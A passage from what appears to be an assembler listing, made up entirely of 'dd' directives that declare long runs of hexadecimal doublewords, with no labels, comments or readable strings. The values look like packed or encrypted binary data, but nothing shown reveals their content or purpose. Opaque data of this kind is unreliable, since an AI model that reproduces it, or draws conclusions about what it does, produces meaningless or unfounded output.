12749877h, 876799h, 15D5A526h, 8A04EF26h dd 480D0601h, 1B16CE3h, 73250C4Bh, 0F6A0AC4h, 3B7060E2h dd 0F18FAF01h, 0D430845Ah, 9A0047A4h, 0B26FFE50h, 499075h dd 0D50207C7h, 5F33BCDEh, 1D46352Dh, 9C7311FCh, 54CF9106h dd 0A5CC9970h, 5F916495h, 0BAABA780h, 55782B2Ah, 114909F8h dd 17A6B82Ch, 1BE3BCDh, 6DBDF4A0h, 6C2180C3h, 7BF00B9Eh dd 61C07CACh, 670819DBh, 48647493h, 0A456940Bh, 11801D86h dd 45F789FDh, 60F9E4C4h, 79D3AD38h, 680A5042h, 0D16007Bh dd 2BEE6A23h, 7A001E8Eh, 5A290CE6h, 272BFDBh, 0DEE03AB8h dd 0E0E92831h, 0EF90FC1Eh, 1FDC545Dh, 0A9521B59h, 36C8348Bh dd 388A43C0h, 28A813EFh, 0C2002406h, 32037CCh, 6359E0h dd 6DA20F26h, 5017119h, 4195FA00h, 0C10CDE4Dh, 0EA5F37F4h dd 0C38490F1h, 5E1CF12Ch, 0CA4191EBh, 54E5DBE0h, 4A72863h dd 986F334Bh, 2E01E49h, 2C2F5B1h, 2CDABFF3h, 6DEC1904h dd 0F707CB38h, 491532DFh, 0F5437CE0h, 95423102h, 0C01CEAFFh dd 0B492C01Eh, 8F9C8Ch, 9939CE7Ah, 131C4C4Eh, 0A5E409C2h dd 0EF460300h, 0B1AD2848h, 47710400h, 0C0809BCDh, 8DAEB341h dd 24EB09E1h, 7CE00360h, 0D500B8FFh, 0A2B0D4Dh, 908D7D4h dd 0FE5CD87h, 60E1BC4Dh, 0B020262Dh, 387B2DBFh, 6DEEF480h dd 85750B6Ah, 60713928h, 52A36C1Fh, 65EDCB8Bh, 602DE454h dd 60F061F9h, 6F57E66Ch, 8C01FB74h, 949CB2BDh, 44DAF33Bh dd 37C10110h, 5B01E844h, 1182F442h, 0D648BEh, 7B4FCA17h dd 11B6A839h, 71249902h, 7269FFB4h, 0E8C4F0C0h, 4708A270h dd 4AFC42C4h, 6534218h, 0CCE81C65h, 0B000F93Fh, 0B5DE744Eh dd 927F794h, 0B9667897h, 40A7D498h, 0E55D731Ch, 15141C80h dd 0FA4AFFAh, 0F67B6855h, 0C0AC1BA4h, 807D8A48h, 4C3BE64Fh dd 53002D23h, 0CA05669Dh, 0E21D0068h, 0F4A9AC75h, 8B7344EEh dd 3D044AF2h, 0C9346D8Ah, 2FB23CA3h, 2680F30h, 8EAF2438h dd 1864F101h, 0F0DED12Ah, 0C090624Ah, 49D50AB6h, 0BF053860h dd 0C7F4246Bh, 0A4A5C4B4h, 0E95D7AA8h, 66D1D40h, 4E8200A0h dd 38B444C8h, 0AC4A53BEh, 8CB6812h, 0A0C05EC8h, 0BC91756h dd 0B2D314DFh, 1C3B06DCh, 0C8465E6Ah, 0C8798B0Dh, 51C9F860h dd 6062C484h, 1F237491h, 87CAE570h, 5507016Dh, 0DCFC9E4Bh dd 0F8960580h, 0E060BD62h, 0BAC8808Ah, 694CF4EEh, 74013B9h dd 9F249400h, 28EEB3Fh, 0B4112975h, 0E47060ABh, 66A7BC17h dd 6F39B081h, 46E0C6CAh, 0D83C2EFAh, 0C528F20Bh, 34498044h dd 595FF586h, 0F0530202h, 0E8E510A5h, 948B96BCh, 0F7467674h dd 32D54F00h, 4B0725EBh, 1409FCA0h, 6B82C909h, 22CC42C6h dd 7A92F180h, 306E27Ch, 98FF7DEh, 6CE0D701h, 0FB000FC4h dd 850A0C3h, 9E5A0766h, 75467C24h, 0A37A6D01h, 4D04294Dh dd 0A81B9A4h, 0B459C393h, 0B5DC8B3Eh, 2670E024h, 0E37C17F2h dd 3D14084Ah, 0ECA71EC0h, 800F4367h, 63A736AEh, 94250191h dd 0BFEF8C7Fh, 0F20062E1h, 0F9CD3030h, 0F6BCDC1Fh, 0BE84285Eh dd 80BB464Eh, 0F3872DF5h, 0DC9BC62Ah, 6790913Ch, 5320BED9h dd 0E7A463h, 0AAA50F12h, 0B23B85B8h, 726CD712h, 4817A8E4h dd 0CC504284h, 0EB10BE2Ah, 3D40544Dh, 0D9B9359h, 11F85C20h dd 3AD1F058h, 9F09D9C0h, 0CF316Dh, 4AFF5BA3h, 552E383Ch dd 43712F0Bh, 733800BBh, 90F9C335h, 0E23C0124h, 0CC6BC05Bh dd 92508614h, 0B6C04737h, 2215E5Ch, 7993824Bh, 0EDC11751h dd 6925DC08h, 0A73C7E09h, 5AA468D1h, 0EDC207A6h, 102ACBD5h dd 9428132Bh, 0EC6A4B05h, 0E8B31B49h, 0FDE29852h, 0B40B1830h dd 50DF8040h, 76529DAAh, 0B7118300h, 3359BFDDh, 22B40073h dd 0DE49AD4Fh, 185E6DF2h, 0EEC5807h, 90A9CC64h, 49CCA06h dd 0DE0F5CCFh, 0E496139Ah, 9CD0D2C6h, 9A485BBEh, 0F31B02C0h dd 6D703A94h, 0E8D3D242h, 0A0ED041Fh, 1C8A3428h, 43601365h dd 70180495h, 2DBD00C6h, 8747CCC8h, 78E08048h, 4ADB251Bh dd 23C42F69h, 782900F7h, 0E116C78Ah, 0F8C8594Ah, 0F47174h dd 3ACB0D7Eh, 0E9CA71F9h, 0BA12BC00h, 0BF103019h, 9E00B9CEh dd 17007A4Ah, 45A6EC06h, 0BC0096D0h, 95323AD3h, 992ED46h dd 0E4408588h, 0E41094A9h, 3B3930E1h, 8ED3BA27h, 0E096A3F8h dd 6DC74404h, 0B6B10088h, 611CC849h, 0A213A96Ch, 98CBBC4Eh dd 71C030C8h, 58C6327Ch, 68492559h, 76187D3Ah, 70392943h dd 29F1D1C0h, 1EC0FB49h, 450771Bh, 852361D3h, 0F234F258h dd 702530FFh, 0E234CD13h, 23436E1Eh, 0E5797569h, 0FEB294F6h dd 12A93930h, 0F0F0A568h, 0F2489A98h, 0CD6C1074h, 7AA26404h dd 0BF4E96Fh, 17119F66h, 8062917Ch, 74DA5B84h, 0FC984C24h dd 174CF310h, 2490BC6Ah, 2D01E820h, 9C000709h, 8AD3AC71h dd 0BD8B28C0h, 5101F3F0h, 0F062E4D4h, 0C53034F2h, 0D4424CBAh dd 8F68EEC0h, 3A90B3E8h, 0F4008171h, 0C0157E0h, 0C0F192FBh dd 39C59F29h, 0B1091E32h, 1AE784F3h, 11BC1DD8h, 312880F5h dd 24DF1CDh, 64B05140h, 98A27107h, 19C0A6FCh, 0FD0260B5h dd 3A6A24DAh, 4F807666h, 12D40CE4h, 750A041Eh, 80AFE060h dd 0EBB47100h, 829CA869h, 0C06076CAh, 4161A081h, 0D053C9Dh dd 50D542A6h, 0E4DAA817h, 0BA5334C3h, 0F5BC9010h, 7A3B1D03h dd 28DE096Ch, 70342516h dd 948D7017h, 0FEBCE06Ch, 513C4A43h, 0C86D7609h, 995AB800h dd 116701Fh, 4853EF04h, 0FCC884CBh, 608987C9h, 0C5F3D581h dd 0BF31B02Dh, 2E7F8D8h, 0C124E1ECh, 0FC349461h, 0E28E8A4Ch dd 8C115138h, 0F4002595h, 94089CF3h, 0B812760Bh, 73C8908Bh dd 79AE05C0h, 0E0541718h, 8EB4D5FAh, 0CE2D886Ch, 9AAF0620h dd 0ED052C9Fh, 978C6F68h, 27D684F0h, 6469EC55h, 0EA398216h dd 48BDDC65h, 4934ED4h, 60495AE8h, 62848DC3h, 30FDE2D4h dd 0EC2767B5h, 6F3C6021h, 0D1F8B98Bh, 1C818F8h, 10865F9Fh dd 0E064130Dh, 44F24209h, 0A7F0B904h, 94813ABEh, 0E400FEF8h dd 5BF4A56Fh, 48042927h, 33321B5Ch, 0EF88437Dh, 0AF1FA1C9h dd 0ADC03E18h, 2A47EE68h, 85038575h, 0B2E4A310h, 45E630FEh dd 6F49B27Dh, 7CE3E18h, 8369A057h, 7FF69A30h, 8A1A2FBEh dd 3311C0B5h, 0DDAF9C80h, 294BD1BEh, 9F19D49Ch, 60C1F484h dd 6B232DF3h, 4465B871h, 2D4E241Dh, 9AA813Eh, 0B4427180h dd 0F6CA017Ah, 0E9A02411h, 86278B18h, 40F1DE19h, 8C3A172Bh dd 536840B3h, 5A1A096h, 1F00C4Bh, 818C2636h, 0AC3E485Dh dd 4A3C4090h, 523702Fh, 8224B600h, 0B844ADD9h, 0DB5900F4h dd 719965E5h, 4D6BABC4h, 0E43CC5B0h, 0DD1D60FBh, 5A690068h dd 3D78642Ch, 352ED466h, 467C303Fh, 11D002FCh, 0FBE79588h dd 7F417024h, 58205B02h, 2EE45475h, 4AE382C0h, 71240467h dd 7FBFF03Ah, 0D6709Ch, 0E19336E0h, 4E489245h, 8E1FBE0Ch dd 12E489E8h, 0E06033BDh, 9D1A6840h, 7C88C58Ch, 2F465EC0h dd 607F9100h, 6840BF38h, 4571DC05h, 98AC83F0h, 95BEE8C2h dd 7404C0F8h, 0E48B853Ah, 18A0390Ch, 0A7A8FB53h, 8F304B04h dd 14032E6Fh, 42F64E3Bh, 184853FAh, 0EC30F7A2h, 1A7F58D4h dd 48A5D018h, 850C9272h, 0D0768CDCh, 0EE9927ADh, 10E0B44Dh dd 4BD11A7Dh, 0C3DC4038h, 0BB8B1379h, 7762680Fh, 0CEAE408Ch dd 5A1C9CDh, 6DF2BD78h, 0E9AC927Ch, 1F0998D8h, 580AA084h dd 42CC30B8h, 0F4B7D351h, 22FE9F0Ah, 888034C9h, 0ED7142A5h dd 0A702008Bh, 3A51332Dh, 0BA0007D4h, 3B9506ADh, 17C60BA6h dd 0CBBB0CA3h, 0C0F6C854h, 0AA46F537h, 5C6E1600h, 937AE2C6h dd 4EE8A8F2h, 4898006Dh, 0DAACF97Dh, 1B282CA0h, 425B42Ah dd 0A68C48F0h, 0BAC41219h, 6C4802EBh, 1F27456Dh, 0C7FF8473h dd 16F592E3h, 0CBEA4931h, 4A8F1ECCh, 30F0B04Dh, 76BC403Ch dd 8D19268Ch, 162F0720h, 0DC842091h, 0EC5CB22Bh, 238C0854h dd 0B5F4007Bh, 66C3946Fh, 0FD0311C2h, 39784120h, 77802828h dd 0B85FA5F6h, 7D02FDE2h, 78D11D65h, 6264D9E9h, 1F0022FCh dd 8FF83C34h, 96024E11h, 791FAC6Fh, 467634DCh, 8D0E72FDh dd 25C5D5BDh, 0B890F1D6h, 9CF26669h, 0AC00028h, 601504DEh dd 0E5EA3900h, 45C3F3A0h, 0F170B98Bh, 4118F6h, 0A8ADE6BCh dd 141A33A5h, 0A3251304h, 8481EF62h, 0C503C6F8h, 41D603F9h dd 0EEF38988h, 0A7C4452h, 4E4530BEh, 5D5C58C1h, 0DA34746Bh dd 61BEC054h, 0EEBB2519h, 0E3CF0182h, 0BC67F9A1h, 437C748Dh dd 0C7D76025h, 60F5C4C0h, 70D02A09h, 51F894h, 0C192FBB7h dd 256DCA39h, 6B824915h, 9CC84A7Ch, 0EED30E97h, 3A1F5885h dd 0F324C780h, 891996Eh, 0F44A071Fh, 0E5DDE30Bh, 6133C4B4h dd 0C6C8B86h, 0D8128D01h, 6A1D1540h, 0AE26E448h, 74465ED4h dd 0FF325004h, 0D09CEC6Fh, 43F8E8D0h, 6F8A024Ah, 405F738Ch dd 0CC72097Ch, 75940B69h, 0C117DE00h, 683D3F34h, 741C07C7h dd 403B19BEh, 0AFB26FE5h, 2A07B516h, 0B60A9440h, 25D561E1h dd 48E19B33h, 0EC4118F7h, 8730FAB7h, 86390039h, 0C4118458h dd 985A69F7h, 28686A8Bh, 0E648BDF3h, 158905Ch, 0D2BA9537h dd 34D4E0D4h, 0EC2404F8h, 0E254A3FBh, 3031F23Ch, 0F018B115h dd 90E84485h, 2C725805h, 0FEE42079h, 0A78FEF09h, 7960F959h dd 5021834h, 9DF0D68Fh, 3924D080h, 7094A35Dh, 76FD465Eh dd 0A08DE127h, 65BC6A18h, 5A88BA19h, 23C02F86h, 1D3100F5h dd 17DD4FCCh, 8F5B2301h, 2DD1DC67h, 0BC3C206Bh, 0B61CA61Bh dd 108A4E52h, 1740D490h, 0D9C347h, 7CC6C9C8h, 0DA012A80h dd 0E8A2BC02h, 0D6559A60h, 121764Ch, 7043804Bh, 0BCA61CE3h dd 7186FB60h, 9E92CF2Fh, 296A80BCh, 3D128742h, 0C6C00A01h dd 23A33B1Eh, 54B3FCF3h, 0C96FE41Dh, 0A8039837h, 0E05D2AA1h dd 0BBB8F4h, 0C91A42C5h, 0A7B06E98h, 0F884AD48h, 840F8C61h dd 2512F694h, 4B46A7Ah, 20A098F5h, 461221BDh, 0CCB2A265h dd 0D3060F2h, 3BEE00FAh, 9A2BD534h, 2902BC65h, 0C883F047h dd 708CFBD8h, 0F3397EBCh, 2AD69D62h, 78C2C549h, 897BD58h dd 0F880FD91h, 6980434h, 9E6CB900h, 65AD6F73h, 2351751h dd 0B37457A2h, 3034A2D0h, 6805B0CBh, 0F7086DF0h, 0E61A78A0h dd 9AE14BA7h, 313C0E8h, 6F23FAh, 0E8932F50h, 0E44C6BBFh dd 78F940B0h, 0B8845C88h, 0A6008CF8h, 702F690Ch, 7B0184C1h dd 0BB05EBEh, 3CC550F8h, 62EC7FEBh, 0F3788900h, 2C9F7F7Ch dd 9509000Ah, 6032AD1h, 0F9028B58h, 880FD82Bh, 1ED2D76Dh dd 1B28C60Bh, 0EB427DB9h, 58CF53DDh, 0FD00C485h, 8B05A880h dd 0C501CDB5h, 2FC18378h, 17232Ah, 8796C1CAh, 0A9508589h dd 3B0606C7h, 0C860FD9h, 0BD8B0CC3h, 661C08F9h, 7CB58C7Fh dd 1B465CD6h, 0D8590C00h, 0FB80A686h, 0A158DB62h, 0C1F60010h dd 84350F04h, 0B6BA35A7h, 0F967B0BFh, 66A70077h, 0FF23B9BFh dd 116BA595h, 0E3685764h, 6073CE67h, 80E7BA3Fh, 815B1D5Fh dd 15621DFh, 0C32B6669h, 0A008343Dh, 5C70862Eh, 0DE3AFCB7h dd 0E8F9DA0Ch, 84150Fh, 0BC8188C1h, 3176A44Dh, 151B8302h dd 40ABBA23h, 0B9DD718h, 4AE95F8Dh, 649BE775h, 0A6356018h dd 8FB60BF5h, 0E55DC08Bh, 631AC48Fh, 0A82283E0h, 90C90A0Dh dd 34D203Ch, 0D8C1FFEDh, 0C7F3EC66h, 25CD8518h, 2BA3FD1Ah dd 78E275F4h, 752DCEE2h, 7DA1DD7Dh, 0B106820Fh, 0C918225h dd 79BD8100h, 0D00C2864h, 850FAF90h, 292DC216h, 0FF27A1B5h dd 505642C8h, 31113F40h, 355E5F80h, 0AF20B5FFh, 1AA25CB3h dd 8CA130h, 0A6E3C483h, 0C5BD0B1Bh, 0B9953EA0h, 0F0001F41h dd 5BEE8ACFh, 716BBF90h, 0E4C5E60Eh, 92995FC0h, 8AA0D5A9h dd 0E88029FDh, 222FC00Ch, 6F953C02h, 5185D400h, 152109C4h dd 0D6FA488Bh, 10A89D3Bh, 55EF144Ah, 791099B6h, 0BE560322h dd 0ECD92C77h, 20F510C1h, 74C0805h, 6111B380h, 50EFB476h dd 98DDAA6Ah, 0A9F6B74Bh, 0A1B701DCh, 0D1B58960h, 0FC489923h dd 0A55041DEh, 5ACEB70Fh, 2140BA61h, 1A085D9Ah, 64F30060h dd 772D9CF5h, 31F8BD89h, 60A876B7h, 8143CF37h, 0D690FA90h dd 24D0B0DFh, 65192B3Bh, 90330C0Fh, 0BE030A80h, 41AA54Eh dd 8E25542Ah, 0D64BD6B7h, 2784300Bh, 0DAE28049h, 3835E9F5h dd 0F9AFFF8h, 71842B8Fh, 88D68EC1h, 0C77C018h, 0D6B712EFh dd 151840CFh, 7AFE3382h, 11B7439h, 0E16E639Ah, 0B1704EBh dd 609D4D5Dh, 0D2B3D5C9h, 758E3250h, 98B0340h, 11858DF7h dd 95C3A72Fh, 1D152C65h, 38AD29BDh, 66528050h, 0F4BF0BEh dd 0F2537631h, 8B7098Bh, 17025A5Eh, 0F3D72404h, 691C5864h dd 0B3CD669h, 2EC5D0Ah, 0D64F54B7h, 0EC0A8722h, 0D04698Eh dd 0A1EC378Fh, 87EFD9CCh, 6FA35FEh, 0B9BBB719h, 1B50A880h dd 0BEB8EA60h, 97DCE109h dd 0F1C40210h, 0C0830124h, 0E5933105h, 0BEA64090h, 7A286AE7h dd 0F2F8A768h, 0BFE8A2A3h, 0F512A7E3h, 0CC6F9010h, 1CE7B113h dd 4C69CC13h, 0B52D2B44h, 87287D31h, 813DED2h, 90056621h dd 0F6EA0CC9h, 0B094F0C1h, 6B3E4C0Ah, 3B03E910h, 97471D8Dh dd 52B7FD6Dh, 3577C700h, 273B013h, 0B61CC66h, 6648B9B5h dd 0CCB3D3FFh, 1609CD78h, 9DD2758h, 2042154Bh, 0F7802635h dd 14D9EECDh, 0CC734DE9h, 0FB62EE5Ah, 4F46423Fh, 0E48A42CAh dd 8684B5C7h, 7D14013Fh, 8B465B01h, 0AC05BD9Dh, 0F9607928h dd 2BA9C2Ch, 0DC9CE4Eh, 22604036h, 160ED849h, 18E3815Fh dd 4DB5234Bh, 0B12C489h, 7DDE0BDBh, 1FCDFE18h, 2DBD8380h dd 0A4FFF84Fh, 54541057h, 3BFE60Ch, 2641E930h, 21AC86D1h dd 0D21D2055h, 23093B75h, 0A7350F17h, 0B50921A1h, 0E9998D11h dd 3A4E5552h, 0C4C01888h, 0B364DE6h, 19BD0380h, 4E5A6228h dd 1AEC3014h, 4AF8018Ch, 39D258EEh, 99221A2h, 20BD6ED8h dd 125BB3ACh, 0EC8F40FBh, 0F3CBC1Ah, 56DAA800h, 0E5C42D23h dd 65370326h, 815B71C6h, 0CBFEFFD9h, 23622E9Dh, 1BD50B15h dd 497D2B07h, 41DB4B69h, 10CD1F7h, 282CC3F6h, 54B73022h dd 313C4CDEh, 462A2E69h, 713CB011h, 0AD4FB129h, 6C4F12FDh dd 58B09223h, 0E9C652F8h, 8F94C77Fh, 98CE0EDCh, 0A1C2284Dh dd 71E693B6h, 5A575107h, 223035CCh, 2FEA0EB7h, 115D52A6h dd 0E6C65EB3h, 64E500CBh, 9E4910B7h, 0F5E0B05Ch, 8D70E624h dd 35D3CE01h, 8A3671E4h, 6CFF3CF0h, 28C5D201h, 60DBED9Eh dd 84AE8AA1h, 0F26F585h, 0D8B6A461h, 46C06DDBh, 17AC41D3h dd 5B2FBA51h, 0F03CC118h, 9E608B60h, 0FE9BDD0Bh, 25BCE35Dh dd 1835FA0Eh, 208ABE8h, 70CA584h, 304A5C1h, 8580DEB3h dd 3CE2F7A9h, 93FB7809h, 17036047h, 95509361h, 0B719E6EBh dd 0F7B70FA1h, 8ED15B2Dh, 74BC5ACh, 20A25034h, 24A94300h dd 0BAE51063h, 0E30F1D1Eh, 0F60EF597h, 5F171021h, 6B88AAB0h dd 25740EECh, 54203D9Ch, 606B2F41h, 0A3F1A48h, 0C4FBBF0Fh dd 26898D04h, 0B511CA10h, 8E4B5113h, 0FD3CFED8h, 7DD5834Bh dd 1C6426C7h, 254FC760h, 7921C500h, 296B14A8h, 98DD559Dh dd 1B834E54h, 0BA8F2781h, 7ABD3319h, 6E4EA3FDh, 979B01D9h dd 4BAFCA1Dh, 0B1ED6Eh, 6E5F6056h, 30F0765h, 0E07EF6CDh dd 929406C6h, 1D48F821h, 0E95D8501h, 662351B2h, 5764F08Eh dd 23C50477h, 0B02D1BDh, 826D7F58h, 852AF60h, 0BFBEEA9h dd 88280FBCh, 96FF7949h, 7588F82Bh, 0CD8D2529h, 0A5BD04A3h dd 5D5AA6CDh, 276A88Eh, 2A5721FBh, 57D2D01Fh, 0B722C06Bh dd 0B2092EEh, 7042FA3Ch, 70114779h, 58010850h, 0BAA51929h dd 19B1BF4h, 1FEC904Bh, 30D0D9A2h, 8909DF03h, 0ED5B5E21h dd 512EC085h, 2B76253Fh, 11820F19h, 6939E81Fh, 9E18A43Fh dd 7DB59C8Eh, 5E5A1692h, 290D5F62h, 2AE9A9C0h, 0EE8795B9h dd 0C0C4A2ABh, 0C5C387DBh, 0D9D1F36Eh, 69F8D598h, 6BEA5B0Bh dd 0B51E28F7h, 0B206920h, 28A98529h, 12F18190h, 0CB3B0CC0h dd 0C0FC1DDBh, 8AD681B8h, 2C5A01F5h, 9C39093Ch, 19467C74h dd 0BB17A001h, 6805C1CBh, 0B3C8D224h, 49F10042h, 248D34ADh dd 9F1C7D47h, 0D1E6ED1Ah, 1B46DCh, 9D0B55F8h, 4DAD1167h dd 9B96D78Ch, 646E8B48h, 76E40086h, 26B26B71h, 474CCD46h dd 2E40743Bh, 0BE661D90h, 0DED6E48Bh, 6BAFDCB7h, 0A8474875h dd 92D20053h, 0AB0F5514h, 0EE002329h, 0A5C65157h, 2CD5ED48h dd 181AFC7Fh, 81FF06F0h, 0F7B9CF03h, 9605B29h, 131B0696h dd 54083E84h, 10611083h, 0E959510Bh, 0D880A393h, 0E5073097h dd 7946CA9Ah, 0F761DB72h, 15588973h, 0E07B008Dh, 0AC84D7DDh dd 6604EA48h, 601B0BBFh, 0FAC7AC83h, 17A603Dh, 0BF838221h dd 83261D9h, 9DFAD4F3h, 801811E0h, 0E871B5EBh, 0F346CB34h dd 1E9DBA82h, 0E520B17Ah, 453BB02Ah, 4D189D26h, 827CB7E0h dd 0F8E3D680h, 10CAEEFh, 0DE3E54F4h, 0F42D55C2h, 0C10C63A3h dd 3E6160EDh, 5F57CEE9h, 5C43CBABh, 0C02014D2h, 7BDF75h dd 0C428DB2Ah, 3B4E1176h, 0E2CD4300h, 0A2640AD6h, 8C0F2CE0h dd 4E1C3B3h, 138EAD11h, 99BD2B0Eh, 0A78CEEF6h, 0AF5F1FA7h dd 607181D6h, 3DC18BE0h, 2D28B83Bh, 801878F5h, 912DBD0Bh dd 0E787A117h, 6368F838h, 9F9AAED7h, 0CC90BED6h, 921C96D4h dd 74412A8h, 13180750h, 0CE02A833h, 0F96A206Fh, 1816D17Dh dd 73D2021Ah, 1CE1BD33h, 95B50548h, 0CE54678Bh, 0A307D55Eh dd 301BA24Bh, 48016ED8h, 0E7DB37ECh, 2A20317Ch, 4B47B417h dd 0F9825137h, 81526033h, 50816B89h, 25EFD7D0h, 0AF804393h dd 2D5CBE56h, 6F5ED9E1h, 6FBC77BDh, 89518E0Fh, 0E750968Dh dd 8C1BEC27h, 7EB7921Ch, 0ACF07A8Fh, 8AC158C0h, 0F2AE6A7Bh dd 0B904FD4h, 674E2878h, 0FF5F5309h, 0C12F83D3h, 75704F30h dd 0DDB3BF25h, 6A6336F0h, 0BA01ABE2h, 0E9CF7CE3h, 2968093Dh dd 244A68B2h, 11AD3D40h, 86D0C7BEh, 0F2014137h, 29031D04h dd 0D3B7D9Dh, 924D268Bh, 2DCB4AEh, 3EFD426Ch, 26D1CCC5h dd 2192F996h, 0FE81197Bh, 7D9CF11h, 0C2E14D08h, 0A47866DBh dd 631A649Dh, 0E9F5032Dh, 0B925566Dh, 0E8F6AFF0h, 0FE808305h dd 83C46B18h, 84E55A1Bh, 54E90398h, 0BED57535h, 211B21A2h dd 31372FE4h, 99A55101h, 5A346378h, 4D2A48FBh, 0B469E045h dd 27000EBCh, 0AF3A6563h, 0B4D6B23Bh, 0E4E86512h, 0EC00D7BAh dd 7D8E0234h, 122CC140h, 908A0F44h, 34E1BE87h, 5F7BC416h dd 90C20A84h, 1707D1F9h, 439EABA1h, 6841698Eh, 0C9165B57h dd 0FD7F20C7h, 12312240h, 0DD1FE595h, 0B8F27D11h, 853F0071h dd 0E6A3EBEAh, 0BF054B22h, 193E9ABEh, 0E9FE20C2h, 8829023h dd 830F50F7h, 0FA15328Dh, 3970F25Bh, 3B9E269h, 0CE9B2838h dd 750BA68Ch, 40258501h, 492CE9BAh, 66EC2505h, 6DBAD500h dd 0F6B70F4Eh, 64CBA7B0h, 16B601Ch, 59B700F3h, 2D8217A1h dd 269E70E6h, 0C4D8B609h, 0A43B03BDh, 0DF733714h, 806051D8h dd 42DF573h, 113235A5h, 9EBC8216h, 28F1DF59h, 0C1450928h dd 92F9A003h, 70025BC3h, 64029DB6h, 0AB4C9AEFh, 0EDC58234h dd 0C38F091Eh, 13340D0Ah, 0BF23C5F3h, 0A262B4h, 2CBBDA97h dd 3B0F65E6h, 3112D24Fh, 0BA89D39Bh, 19757D02h, 3DB25705h dd 9D7A1Ch, 61EBE039h, 0D84D2B5Fh, 0B4EBC0Ah, 2C82E4B0h dd 8898627Fh, 1A2822F5h, 227BF949h, 8951A002h, 3924521Ch dd 8F301DE2h, 635C001Ch, 17CF4B48h, 0F14D890h, 2D3A0C8Ch dd 0B573908Eh, 29314129h, 760DADF1h, 1F2CF4F4h, 4918B909h dd 0E122F077h, 78F78531h, 0EAFB94BCh, 4605D6B9h, 416558A7h dd 11ECD830h, 91D16E4h, 0FAC50508h, 87B6EBB0h, 0EBFFD1E0h dd 0C0D3A624h, 82788523h, 62480134h, 1E76BBB4h, 6356505Dh dd 187FCF86h, 2D74E42Eh, 561B6439h, 5D0013B2h, 4DF57707h dd 0E058ECC3h, 99BE0905h, 9D0988CAh, 1C4674h, 0EAF50205h dd 2D89777Bh, 50A408DCh, 0EA3F95AAh, 8BB061A6h, 0F8E6CF35h dd 0E9BC559Ah, 201601DCh, 86A4974h, 31643351h, 0F1FCFAF8h dd 6B263C31h, 0B39ADF0h, 2BB9289Ah, 0E8181979h, 78251804h dd 3AD41E1Fh, 1723452Eh, 5773CF02h, 812960BCh, 37470EDFh dd 0C7C0014Dh, 125CA719h, 40BA585Bh, 4A8DAA7Fh, 6709CBE1h dd 278FB3Fh, 0DA5EF0AAh dd 1CC2058h, 1DD0E84Ah, 0D34495h, 0A9BA09DFh, 0E294AF4Dh dd 2DF55702h, 0D95F9EF6h, 2D10276Dh, 35ECCDC2h, 0B4234F00h dd 7DFCF83Ah, 95891257h, 5EC6C271h, 15F179D9h, 0F6508E18h dd 0E55BA2E6h, 16D7845h, 770206B6h, 0D94750A4h, 800099E6h dd 82C1BE20h, 269B6727h, 0B9EFA6Fh, 92A55FFBh, 7A6EBD9h dd 21EC31B1h, 8C96685Dh, 0BBE9305h, 6046A91Eh, 0CA938494h dd 0FA99BC58h, 8F860123h, 9257D983h, 0B8A82D5Bh, 8B0F1754h dd 498AA18h, 0E3B000A3h, 0B8172772h, 0BE011FD8h, 0FA01546h dd 0FAF38E4Ch, 1D75795Fh, 0DCB3C0DBh, 98ECBB9Ah, 0A5FF4B09h dd 0CC518727h, 7EE66710h, 0C32B2F50h, 0A402CAB7h, 0C68D0F30h dd 62F35B6Dh, 0D3DF4FE9h, 0E0E9D3A9h, 0F804202Ch, 57B58B2Fh dd 42E92382h, 0D3E15BFDh, 5B1220E0h, 16858302h, 98C08BDDh dd 3A9C5B4h, 0C27BF706h, 48881D90h, 0DA0298F5h, 2166FE26h dd 1749F054h, 945E9E41h, 4726B25h, 579AB96Bh, 15EF8Ch dd 4B8F5ED3h, 591BC754h, 0AF1DCD7Eh, 3DC5ABB1h, 0F0EE9D89h dd 5F125ECCh, 8EE485C7h, 142B165Dh, 50FC1E1Ah, 0A2DE6E01h dd 7E13E595h, 6A60D947h, 1423FB3Eh, 398D4917h, 0AFB8606Dh dd 0DD80B80Fh, 0D6B31237h, 2CD72675h, 164D1219h, 0F6AF61E1h dd 7D0E2053h, 0BB5F1140h, 0B472474h, 4BB148CDh, 0F0606690h dd 0AB8F0C1h, 0CDB37E9Bh, 306108C3h, 6FE60F1Dh, 8FD9BF40h dd 296E0915h, 0C2D0E19Dh, 0F8E57B94h, 0B08FF6EAh, 0FC2969F9h dd 60750553h, 0CC175784h, 9F01DA2Ah, 0DD82E791h, 83A3831h dd 0F324222Ch, 0D520050Bh, 72E078EDh, 3162D283h, 0B54E3626h dd 8BBF002Eh, 3E212F69h, 0FC01BE37h, 6F4DE913h, 9580442Eh dd 85105275h, 83B3026Fh, 0D891BD89h, 4BF2FAC5h, 0A01F2761h dd 7FA6BF5Eh, 0D5729905h, 31A6C36Eh, 0F70CFFE0h, 9B83B102h dd 828AAA5Bh, 31C5A5h, 0FFF6C9E9h, 41BDECE3h, 0C18F2064h dd 1A887B8Eh, 0CA93B9C0h, 0C69013C5h, 0B277F636h, 0B6CF3016h dd 0A35215Eh, 35D2E4EBh, 598B1A00h, 58A516DDh, 78C23953h dd 0E56EDF00h, 505FFCC8h, 0D52F66B6h, 14011737h, 60B97194h dd 8A197B20h, 59944C66h, 10F68700h, 1D5A7Eh, 3C70C6Fh dd 5094D5E0h, 0FC61D700h, 0B1FFDB81h, 82277893h, 3C65F618h dd 35EC0600h, 534A5FAh, 9B22D380h, 96158063h, 58C2F3h dd 7346F4B6h, 0B5852950h, 5E50F092h, 0E3B3EA7h, 6BBADF07h dd 0CA23260Bh, 0C405B10Bh, 8B501543h, 9B4EB7F9h, 0E52881C3h dd 872F1502h, 0E4644B73h, 1A5510C4h, 0F1E5560Fh, 0EC2AA85Fh dd 0C9028C19h, 727453CAh, 138D5EA2h, 0BBB123A9h, 7861FDF9h dd 3CDD625h, 5B7FF62Ch, 29FE31D3h, 38AD6DBDh, 96082DE9h dd 0E4822E0h, 269D9511h, 0E02B52E2h, 4EB3EF6Ch, 4863535h dd 0E2151E2h, 599DE361h, 33F6BD31h, 0BDCA5BF0h, 0CD2DD05h dd 0E2EE4EF8h, 0B5230B68h, 0B433780Dh, 0E9C86CF5h, 1BCC214Fh dd 0FA35D7B2h, 7EC3A89Ah, 2BD0D546h, 0E4DFCBC4h, 0BD5EE825h dd 70C2FC6h, 6D69B2DFh, 5E80EF3Eh, 59A6C17Ah, 0E0DB620Ch dd 4171707Dh, 5394132h, 57E90104h, 5C4D3DA5h, 2C7A4BC0h dd 5EB40097h, 25F2E02Ah, 892ABD23h, 0B5179E06h, 1B962E61h dd 6536B6E8h, 0D8E4EEF9h, 0CD951509h, 229C1626h, 5159897Ah dd 495C51D4h, 